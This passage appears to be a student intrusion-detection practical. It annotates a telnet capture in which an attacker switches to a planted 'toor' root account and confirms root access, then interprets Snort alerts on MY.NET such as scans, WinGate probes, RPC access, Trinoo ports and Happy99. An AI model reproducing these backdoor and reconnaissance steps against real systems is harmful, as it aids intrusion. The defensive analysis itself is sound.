TCP TTL:64 TOS:0x0 ID:5459  DF
*****PA* Seq: 0xD43EF7B0   Ack: 0xB648A297   Win: 0x7D78
TCP Options => NOP NOP TS: 7507068 2282016
0D 0A                                              ..

08/01-12:21:15.454157 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8696  DF
******A* Seq: 0xB648A297   Ack: 0xD43EF7B2   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282018 7507068

08/01-12:21:15.586928 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5460  DF
*****PA* Seq: 0xD43EF7B2   Ack: 0xB648A297   Win: 0x7D78
TCP Options => NOP NOP TS: 7507083 2282018
4C 61 73 74 20 6C 6F 67 69 6E 3A 20 54 75 65 20  Last login: Tue
41 75 67 20 20 31 20 31 31 3A 34 31 3A 35 33 20  Aug  1 11:41:53
66 72 6F 6D 20 31 30 2E 31 2E 34 32 2E 36 35 0D  from Source.address.
0A                                                 .
```

**** Victims machine verifies the last login by the attacker by source address ****

```
08/01-12:21:15.604157 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8697  DF
******A* Seq: 0xB648A297   Ack: 0xD43EF7E3   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282033 7507083

08/01-12:21:15.981718 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5461  DF
*****PA* Seq: 0xD43EF7E3   Ack: 0xB648A297   Win: 0x7D78
TCP Options => NOP NOP TS: 7507122 2282033
62 61 73 68 24 20                                  bash$
```

**** Attacker receives the shell prompt on the victim's machine, for the user Chuck D ****

```
08/01-12:21:15.994155 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8698  DF
******A* Seq: 0xB648A297   Ack: 0xD43EF7E9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282072 7507122

08/01-12:21:17.389410 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8699  DF
*****PA* Seq: 0xB648A297   Ack: 0xD43EF7E9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282211 7507122
73                                                 s

08/01-12:21:17.390475 Linux.mynetwork:23 -> Source.address:1941
```

```
TCP TTL:64 TOS:0x0 ID:5462  DF
*****PA* Seq: 0xD43EF7E9   Ack: 0xB648A298   Win: 0x7D78
TCP Options => NOP NOP TS: 7507263 2282211
73                                              s

08/01-12:21:17.404154 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8700  DF
******A* Seq: 0xB648A298   Ack: 0xD43EF7EA   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282213 7507263

08/01-12:21:17.459726 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8701  DF
*****PA* Seq: 0xB648A298   Ack: 0xD43EF7EA   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282218 7507263
75                                              u

08/01-12:21:17.460622 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5463  DF
*****PA* Seq: 0xD43EF7EA   Ack: 0xB648A299   Win: 0x7D78
TCP Options => NOP NOP TS: 7507270 2282218
75                                              u

08/01-12:21:17.474152 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8702  DF
******A* Seq: 0xB648A299   Ack: 0xD43EF7EB   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282220 7507270

08/01-12:21:17.619761 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8703  DF
*****PA* Seq: 0xB648A299   Ack: 0xD43EF7EB   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282234 7507270
20

08/01-12:21:17.620670 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5464  DF
*****PA* Seq: 0xD43EF7EB   Ack: 0xB648A29A   Win: 0x7D78
TCP Options => NOP NOP TS: 7507286 2282234
20

08/01-12:21:17.634144 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8704  DF
******A* Seq: 0xB648A29A   Ack: 0xD43EF7EC   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282236 7507286

08/01-12:21:17.762626 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8705  DF
*****PA* Seq: 0xB648A29A   Ack: 0xD43EF7EC   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282248 7507286
2D                                              -

08/01-12:21:17.763523 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5465  DF
*****PA* Seq: 0xD43EF7EC   Ack: 0xB648A29B   Win: 0x7D78
TCP Options => NOP NOP TS: 7507300 2282248
2D                                              -
```

```
08/01-12:21:17.774141 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8706  DF
******A* Seq: 0xB648A29B   Ack: 0xD43EF7ED   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282250 7507300

08/01-12:21:18.772697 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8707  DF
*****PA* Seq: 0xB648A29B   Ack: 0xD43EF7ED   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282349 7507300
20

08/01-12:21:18.773708 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5466  DF
*****PA* Seq: 0xD43EF7ED   Ack: 0xB648A29C   Win: 0x7D78
TCP Options => NOP NOP TS: 7507401 2282349
20

08/01-12:21:18.784139 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8708  DF
******A* Seq: 0xB648A29C   Ack: 0xD43EF7EE   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282351 7507401

08/01-12:21:19.707521 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8709  DF
*****PA* Seq: 0xB648A29C   Ack: 0xD43EF7EE   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282443 7507401
74                                          t

08/01-12:21:19.708552 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5467  DF
*****PA* Seq: 0xD43EF7EE   Ack: 0xB648A29D   Win: 0x7D78
TCP Options => NOP NOP TS: 7507495 2282443
74                                          t

08/01-12:21:19.724150 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8710  DF
******A* Seq: 0xB648A29D   Ack: 0xD43EF7EF   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282445 7507495

08/01-12:21:19.939730 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8711  DF
*****PA* Seq: 0xB648A29D   Ack: 0xD43EF7EF   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282466 7507495
6F                                          o

08/01-12:21:19.940634 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5468  DF
*****PA* Seq: 0xD43EF7EF   Ack: 0xB648A29E   Win: 0x7D78
TCP Options => NOP NOP TS: 7507518 2282466
6F                                          o

08/01-12:21:19.954140 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8712  DF
******A* Seq: 0xB648A29E   Ack: 0xD43EF7F0   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282468 7507518
```

```
08/01-12:21:20.055956 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8713  DF
*****PA* Seq: 0xB648A29E   Ack: 0xD43EF7F0   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282478 7507518
6F                                                  o

08/01-12:21:20.056854 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5469  DF
*****PA* Seq: 0xD43EF7F0   Ack: 0xB648A29F   Win: 0x7D78
TCP Options => NOP NOP TS: 7507530 2282478
6F                                                  o

08/01-12:21:20.074136 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8714  DF
******A* Seq: 0xB648A29F   Ack: 0xD43EF7F1   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282480 7507530

08/01-12:21:20.219077 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8715  DF
*****PA* Seq: 0xB648A29F   Ack: 0xD43EF7F1   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282494 7507530
72                                                  r

08/01-12:21:20.219997 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5470  DF
*****PA* Seq: 0xD43EF7F1   Ack: 0xB648A2A0   Win: 0x7D78
TCP Options => NOP NOP TS: 7507546 2282494
72                                                  r

08/01-12:21:20.234140 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8716  DF
******A* Seq: 0xB648A2A0   Ack: 0xD43EF7F2   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282496 7507546
```

**** Attacker switches user to the root account he created with the remote exploit. The account name was toor. With this account he will now have root privileges on the victim's box ****

```
08/01-12:21:20.823870 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8717  DF
*****PA* Seq: 0xB648A2A0   Ack: 0xD43EF7F2   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282554 7507546
0D 00                                               ..

08/01-12:21:20.824949 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5471  DF
*****PA* Seq: 0xD43EF7F2   Ack: 0xB648A2A2   Win: 0x7D78
TCP Options => NOP NOP TS: 7507606 2282554
0D 0A                                               ..

08/01-12:21:20.844144 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8718  DF
******A* Seq: 0xB648A2A2   Ack: 0xD43EF7F4   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282557 7507606
```

```
08/01-12:21:21.704753 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5474  DF
*****PA* Seq: 0xD43EF7F4   Ack: 0xB648A2A2   Win: 0x7D78
TCP Options => NOP NOP TS: 7507694 2282557
1B 5D 30 3B 72 6F 6F 74 40 62 75 67 73 3A 20 2F  .]0;root@bugs: /
72 6F 6F 74 07                                   root.

08/01-12:21:21.724142 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8719  DF
******A* Seq: 0xB648A2A2   Ack: 0xD43EF809   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282645 7507694

08/01-12:21:21.751084 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5475  DF
*****PA* Seq: 0xD43EF809   Ack: 0xB648A2A2   Win: 0x7D78
TCP Options => NOP NOP TS: 7507699 2282645
5B 72 6F 6F 74 40 62 75 67 73 20 2F 72 6F 6F 74  [root@bugs /root
5D 23 20                                         ]#
```

**** Attacker receives root prompt from victim's machine ****

```
08/01-12:21:21.764132 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8720  DF
******A* Seq: 0xB648A2A2   Ack: 0xD43EF81C   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282649 7507699

08/01-12:21:22.343266 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8721  DF
*****PA* Seq: 0xB648A2A2   Ack: 0xD43EF81C   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282706 7507699
69                                               i

08/01-12:21:22.344321 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5476  DF
*****PA* Seq: 0xD43EF81C   Ack: 0xB648A2A3   Win: 0x7D78
TCP Options => NOP NOP TS: 7507758 2282706
69                                               i

08/01-12:21:22.364135 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8722  DF
******A* Seq: 0xB648A2A3   Ack: 0xD43EF81D   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282709 7507758

08/01-12:21:22.433816 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8723  DF
*****PA* Seq: 0xB648A2A3   Ack: 0xD43EF81D   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282715 7507758
64                                               d

08/01-12:21:22.434708 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5477  DF
*****PA* Seq: 0xD43EF81D   Ack: 0xB648A2A4   Win: 0x7D78
TCP Options => NOP NOP TS: 7507767 2282715
64                                               d

08/01-12:21:22.454144 Source.address:1941 -> Linux.mynetwork:23
```

```
TCP TTL:64 TOS:0x10 ID:8724  DF
******A* Seq: 0xB648A2A4   Ack: 0xD43EF81E   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282718 7507767

08/01-12:21:22.774764 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8725  DF
*****PA* Seq: 0xB648A2A4   Ack: 0xD43EF81E   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282750 7507767
0D 00                                           ..

08/01-12:21:22.775702 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5478  DF
*****PA* Seq: 0xD43EF81E   Ack: 0xB648A2A6   Win: 0x7D78
TCP Options => NOP NOP TS: 7507802 2282750
0D 0A                                           ..
```

**** Attacker run the ID command to verify who he/she is ****

```
08/01-12:21:22.794150 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8726  DF
******A* Seq: 0xB648A2A6   Ack: 0xD43EF820   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282752 7507802

08/01-12:21:22.807498 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5479  DF
*****PA* Seq: 0xD43EF820   Ack: 0xB648A2A6   Win: 0x7D78
TCP Options => NOP NOP TS: 7507805 2282752
75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D  uid=0(root) gid=
30 28 72 6F 6F 74 29 20 67 72 6F 75 70 73 3D 30  0(root) groups=0
28 72 6F 6F 74 29 0D 0A                          (root)..
```

**** Victim's box responds back with the user information of root and group of root .. Attacker now owns this box and will be able to manipulate information and programs to secure future logins .. ****

```
08/01-12:21:22.824138 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8727  DF
******A* Seq: 0xB648A2A6   Ack: 0xD43EF848   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282755 7507805

08/01-12:21:22.824581 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5480  DF
*****PA* Seq: 0xD43EF848   Ack: 0xB648A2A6   Win: 0x7D78
TCP Options => NOP NOP TS: 7507806 2282755
1B 5D 30 3B 72 6F 6F 74 40 62 75 67 73 3A 20 2F  .]0;root@bugs: /
72 6F 6F 74 07 5B 72 6F 6F 74 40 62 75 67 73 20  root.[root@bugs
2F 72 6F 6F 74 5D 23 20                          /root]#

08/01-12:21:22.844132 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8728  DF
******A* Seq: 0xB648A2A6   Ack: 0xD43EF870   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282757 7507806
```

Assignment #3 – Analyze This Scenario – (Back)

Introduction:

After reviewing the snort logs provided by SANS Institute analysis has revealed the following information. The Time frame of the Snort (Intrusion Detection System) logs, were between May 16 through June 23, 2000, specific items of interest need to be addressed.

- Internet addresses are actively scanning MY.NET for a wide variety of Trojan programs. The targeted systems should be more closely examined to ensure no such programs exists as they may allow an outsider full access to computer files.
- There is an extreme amount of traffic coming from Internet address hosts that are actively scanning MY.NET for any possible connection points that can possibly be exploited (system weaknesses).
- Internet hosts are actively scanning MY.NET for a wide variety of Trojan Horse programs. The targeted systems should be more closely examined to ensure no such programs exists as they may allow an outsider full access to computer files.
- Of particular note is that MY.NET is generating a considerable amount of suspicious traffic in that MY.NET is actively scanning other MY.NET networks as well as outside hosts. A "curious" employee or a system that has been compromised by an intruder could cause the cause of this sort of behavior.
- A considerable amount of NetBios (port 137) traffic is being generated that could be caused by a misconfigured SMB server and/or outsiders scanning MY.NET for misconfigured servers.
- Specific IP Addresses that have been placed on a "watchlist" are attempting to or actually connecting to MY.NET. IP addresses on a watch list indicates that the specific IP has been known as a possible hostile address.

Specific Types of Activity:

NULL Scans – MY.NET has been probed by a type of TCP packet in which no flag bits are set. This type of scan is utilized to map out a network topology. This is considered to be a reconnaissance of MY.NET, which is usually the prelude to a more directed attack. MY.NET received NULL scans sporadically between May 24 and June 23, 2000. This is a sampling of the network traffic.

```
May 24 16:43:58 194.70.126.10:1406 -> MY.NET.253.42:27501 NULL ********
May 25 04:59:41 212.33.69.5:2125 -> MY.NET.218.82:6346 NULL ********
Jun  7 00:59:24 24.113.136.221:0 -> MY.NET.218.6:1723 NULL ********
Jun 23 06:12:55 209.86.129.223:6699 -> MY.NET.217.202:3308 NULL ********

05/26-00:38:40.163564  [**] Null scan! [**] 194.70.126.10:27990 ->
MY.NET.253.43:1027
05/28-00:24:01.607900  [**] Null scan! [**] 216.204.66.115:46526 ->
MY.NET.20.10:23
```

```
05/31-00:05:37.272299  [**] Null scan! [**] 24.141.180.82:2506 ->
MY.NET.98.124:6699
```

As is evidenced by this sampling of NULL scans, a multitude of IP addresses are found. The 194.70.126.10 address is registered to NET TEK from London, England. The 212.33.69.5 address originates from Poland. The 24.113.136.221 address is from a cable modem user here in the US and the 209.86.129.223 address is from Mindspring, also in the US. The 216.204.66.115 IP address is registered to LockDown 2000 from Dover, NH. IP address 24.141.180.82 belongs to Cogeco Cable Solutions from Burlington, CA, Cable users.

WinGate Connects/Attempts – A Wingate or Socks proxy server commonly operate on ports 8080 and 1080. A person can utilize a Wingate proxy in order to surf anonymously on the web. There are also vulnerabilities with certain versions of Wingate that allows intruders access to the Wingate server hard drive. There were a large number of scans to MY.NET apparently in search of Wingate servers. It is unclear from the logs to ascertain if any have been compromised. The Wingate access attempts occurred continuously between May 16 and June 23, 2000. There were a large number of various IP addresses searching MY.NET.

```
05/16-08:42:04.299446  [**] WinGate 8080 Attempt [**] 209.122.220.162:1311 ->
MY.NET.253.105:8080
05/16-08:42:09.239758  [**] WinGate 8080 Attempt [**] 24.3.26.53:1114 ->
MY.NET.253.105:8080
05/16-09:24:07.527635  [**] WinGate 8080 Attempt [**] 216.226.194.6:11386 ->
MY.NET.97.108:8080
05/25-04:14:53.338665  [**] WinGate 8080 Attempt [**] 202.188.86.239:4465 ->
MY.NET.200.56:8080
05/31-10:33:27.825773  [**] WinGate 1080 Attempt [**] 216.179.0.37:2749 ->
MY.NET.60.11:1080
06/01-01:59:13.012322  [**] WinGate 8080 Attempt [**] 202.38.128.188:4953 ->
MY.NET.1.0:8080
06/01-02:38:26.753044  [**] WinGate 8080 Attempt [**] 202.38.128.188:2399 ->
MY.NET.254.251:8080
06/23-08:57:43.043785  [**] WinGate 8080 Attempt [**] 206.26.139.151:1704 ->
MY.NET.253.105:8080
```

The IP 216.226.194.6 is from Manilla and 202.188.86.239 is from Malaysia. There are just entirely too many differing IP addresses to list in this summary report. Note that on June 01, IP 202.38.128.188 scanned the entire MY.NET network in search for Wingate servers. This IP address originates from Beijing, China. Also be aware that the total Wingate connects/attempts during this time frame totaled 58,429.

Watchlist – The Watchlist contains certain IP addresses that may be of questionable character (based on past experience of other Intrusion Detection personnel experiences). There were a large number of alerts (22,300) on Watchlist IP addresses during the time from May 16 through June 23. All of the Watchlist IP addresses were from either Israel or China. The assortment of scans from China and Israel were extremely extensive, probing most all well-known ports. There is a possibility that a connection was established with both the China and Israel host throughout the monitored period. As can

be seen in the sampling traffic below, various hosts on MY.NET have been targeted. A more thorough examination of the targeted hosts is required for verification. A sampling of the traffic follows.

```
05/16-00:00:28.848666  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:8080 -> MY.NET.221.198:1216
05/16-07:05:39.629831  [**] Watchlist 000222 NET-NCFC [**] 159.226.92.9:3026
-> MY.NET.145.9:25
06/23-00:15:58.080152  [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:4432
-> MY.NET.253.41:25

05/24-01:57:25.752327  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:26.925579  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:27.698640  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
```

The IP address originations are:
212.179.x.x is from Israel and as you can see the target IP address MY.NET.217.86 on port 6346. Port 6346 is used for gnutella, which is for music downloads.
159.226.x.x is from The Computer Network Center Chinese Academy of Sciences, Beijing, China

Attempted Sun RPC high port access – Stressing the importance of this traffic, this is a quote from the SANS (System Administration, Networking, and Security) web site, "Remote procedure calls (RPC) allow programs on one computer to execute programs on a second computer. They are widely-used to access network services such as shared files in NFS. Multiple vulnerabilities caused by flaws in RPC, are being actively exploited. There is compelling evidence that the vast majority of the distributed denial of service attacks launched during 1999 and early 2000 were executed by systems that had been victimized because they had the RPC vulnerabilities. The broadly successful attack on U.S. military systems during the Solar Sunrise incident also exploited an RPC flaw found on hundreds of Department of Defense systems

```
05/24-06:56:35.441654  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-06:56:36.791645  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-06:56:37.035652  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-06:56:38.792619  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-06:56:41.800826  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-06:58:35.280729  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-07:07:16.532480  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
```

The IP address 205.188.153.113 belongs to America Online Internet Service Providers. This IP address was seen throughout the log attempting High port access to MY.NET. AOL runs ICQ usually on port 4000 or higher, therefore this data may actually be a false positive and may be an employee chatting on ICQ servers.

Sun RPC high port access – this alert would be of concern. The listed IP address below (128.8.10.141) running on the Telnet service was able to connect to a high port and depending on what services may have been listening, may have been able to compromise the MY.NET computer system with known vulnerabilities. On Solaris 2.x operating systems, rpcbind listens not only on TCP port 111, and UDP port 111, but also on a port greater than 32770. This results in a large number of packet filters, which intend to block access to rpcbind/portmapper, being ineffective. Instead of sending requests to TCP or UDP port 111, the attacker simply sends them to a UDP port greater than 32770 on which rpcbind is listening. The IP address 128.8.10.141 belongs to University of Maryland in College Park.

```
05/24-14:18:05.355092  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:07.594562  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:08.740187  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:10.929925  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:17.322477  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
```

External Procedure Call – as described before there are vulnerabilities involved with the RPC services for Unix operating Systems. On Solaris 2.x operating systems, rpcbind listens on TCP port 111, and UDP port 111. Rpcbind permits a remote attacker to insert and delete entries without super user status by spoofing a source address. Ironically, it inserts the entries as being owned by super user. If the IP address listed below 216.148.73.6 (Minolta Systems Lab, San Jose California) was able to connect to port 111 they might be able to compromise the computer system.

```
05/28-13:08:24.127009  [**] External RPC call [**] 216.148.73.6:2666 ->
MY.NET.100.130:111
05/28-13:08:24.127009  [**] External RPC call [**] 216.148.73.6:2666 ->
MY.NET.100.130:111
```

VA-CIRT 000218 – CIRT advisory on port 34555 & 35555. Port 34555 & 35555 has been used to place the windows version of the Trinoo exploit. Trinoo's is capable of broadcasting many UDP packets to a designated or targeted computer. The targeted computer tries to process and respond to these invalid UDP packets with "ICMP port unreachable" messages for each UDP packet. Because it has to respond to so many of them, it eventually runs out of network bandwidth, which results in a denial of service. Therefore the system could be susceptible to a Denial of Service. The IP address

128.32.66.85 belongs to University of California, Berkley California. The IP address 204.152.191.76 belongs to M.I.B.H., Woodside California. The IP address 203.103.148.129 belongs to Ansett Australia. The IP Address 169.232.10.57 belongs to University of California, Los Angeles.

```
05/26-11:12:14.537630  [**] GIAC 000218 VA-CIRT port 34555 [**]
128.32.66.85:25 -> MY.NET.253.24:34555
06/20-00:42:52.330431  [**] GIAC 000218 VA-CIRT port 34555 [**]
216.64.2.218:25 -> MY.NET.253.53:34555
06/20-21:36:06.368121  [**] GIAC 000218 VA-CIRT port 34555 [**]
204.152.191.76:25 -> MY.NET.253.51:34555

05/26-11:47:16.686059  [**] GIAC 000218 VA-CIRT port 35555 [**]
203.103.148.129:25 -> MY.NET.100.230:35555
05/26-11:47:19.236170  [**] GIAC 000218 VA-CIRT port 35555 [**]
203.103.148.129:25 -> MY.NET.100.230:35555
06/19-12:00:47.008030  [**] GIAC 000218 VA-CIRT port 35555 [**]
169.232.10.57:25 -> MY.NET.253.24:35555
06/19-12:00:47.121258  [**] GIAC 000218 VA-CIRT port 35555 [**]
169.232.10.57:25 -> MY.NET.253.24:35555
```

Happy Virus – The Happy99 Virus is a Virus that is attached to email and if the recipient opens the email the Happy99 virus infects the computer system. Then if the recipient sends additional email to other, the virus spreads. There are a number of infected computers sending unsuspecting people an email attachment, which bears the name Happy99.exe or Trojan.exe. If the hapless recipient opens the .exe file they will see a brief fireworks display heralding the infection of their computer by what Symantec calls a worm/virus. And this is bad news. Bad for the owner of the computer and bad for those he emails for they will be sent the virus file without knowledge of the sender. This results in more infections. One of the several things this insidious worm is doing is using the WSOCK32.DLL to spread the infection. One must go to Windows, System, and delete SKA.EXE, and SKA.DLL and replace WSOCK32.DLL with SOCK32.SKA. Further instructions may be had via the manufacturer of your virus program. You can see below that the snort log picked up on the computer virus and alerted on it, but the connection was made to MY.NET on port 25 (SMTP – Simple Mail Transport Protocol) from the IP address 207.172.145.30 (Erols Internet Services). If the virus was sent and the recipient opened the email, the system is now infected with the virus.

```
05/25-09:53:44.364111  [**] Happy 99 Virus [**] 207.172.145.30:1294 ->
MY.NET.253.51:25
05/25-09:53:44.364111  [**] Happy 99 Virus [**] 207.172.145.30:1294 ->
MY.NET.253.51:25
```

NMAP TCP – ping / Null Scans (Fingerprinting) – NMAP is a network scanning tool that allows the attacker / curious employee to craft TCP packets to bypass firewalls and make the scanning stealthy. By crafting TCP packets the attacker / curious employee machine initiates a TCP communication using Flags set that are unusual. SYN – FIN flags set together or when all the flag bits are set (SYN FIN PSH ACK URG RST

Reserves 1 and Reserved 2). NAMP also allows the attacker to bypass firewalls by not setting any flags at all called a **NULL SCAN**. This allows packets to bypass the firewall looking for certain TCP flags set. The scanning tool (NMAP) checks to see if the host or service is currently running on the target machine. Below IP address 216.204.66.115 (LockDown 2000, Dover) tests to see if the telnet service (port 23) on MY.NET is currently running. Multiple NMAP scans were runs against MY.NET in the course of 5/16 – 6/22, 2000. This is a form of reconnaissance for vulnerabilities on the target machine and usually followed by attacks for vulnerabilities found.

NMAP TCP SCAN

```
05/28-00:24:01.616425  [**] NMAP TCP ping! [**] 216.204.66.115:46528 ->
MY.NET.20.10:23
05/28-00:24:01.616581  [**] NMAP TCP ping! [**] 216.204.66.115:46530 ->
MY.NET.20.10:38815
Jun  4 02:35:18 24.26.122.24:255 -> MY.NET.97.71:6699 NMAPID 2*SF*P*U
RESERVEDBITS
Jun 23 05:41:42 147.32.90.170:1413 -> MY.NET.70.241:6688 NMAPID *1SF*P*U
RESERVEDBITS
```

Curiously, the IP Address 147.32.141.190 and 147.32.90.170 originates from the Czech Republic. The 216.204.66.115 address is from Lockdown Corporation from New Hampshire. The 24.26.122.24 address is from The Excalibur Group in Virginia (cable modem user).

Tiny Fragments – a normal TCP header is 20 bytes in length. Tiny Fragments takes advantage of this and fragments the header to be less than 20 bytes for example:

```
06:25:55:315 [|tcp] (frag 38783:16@0+)
06:25:55:315 scanner.org > target .com (frag 38783:4@16)
```

This example shows the first fragment of 16 bytes and the second fragment of 4 bytes. This activity is unusual and is not a common practice. Usually tcp packets will be 20 bytes or greater.

Tiny Fragments are used to map networks or hosts for listening services. Tiny Fragments are used to bypass firewalls or intrusion detection systems. This is a form of reconnaissance. Listed below is a tiny fragment scan of the host MY.NET.219.58 by IP address 206.193.209.254, which belongs to INACOM in Omaha.

```
05/23-15:24:32.519971  [**] Tiny Fragments - Possible Hostile Activity
[**] 206.193.209.254 -> MY.NET.219.58
05/23-15:24:33.012982  [**] Tiny Fragments - Possible Hostile Activity
[**] 206.193.209.254 -> MY.NET.219.58
```

SMB Name Wildcard – This SMB Wildcard is a Netbios Name query and this probe is a prelude to an SMB connection, and with my suspicion being that the source of this would be someone scanning my subnet with Rhino9's Legion Samba scanner. Packets sent to UDP port 137 from port 137 are extremely common and rarely indicate an attack. Within a windows network there is a definite pattern to these connections, especially as some are accompanied by other probes. We can account for different source ports of Netbios Name queries? (some 137, some not), Scan my machine with Legion, nbtstat with NT, nbtstat with 98, nmblookup with Linux. As you can see the SMB Netbios Name Query

comes from inside MY.NET and could by either a compromised system or an employee with bad intentions. In either case this would require further investigation.

```
05/23-15:28:10.152266  [**] SMB Name Wildcard [**] MY.NET.101.160:137 ->
MY.NET.101.192:137
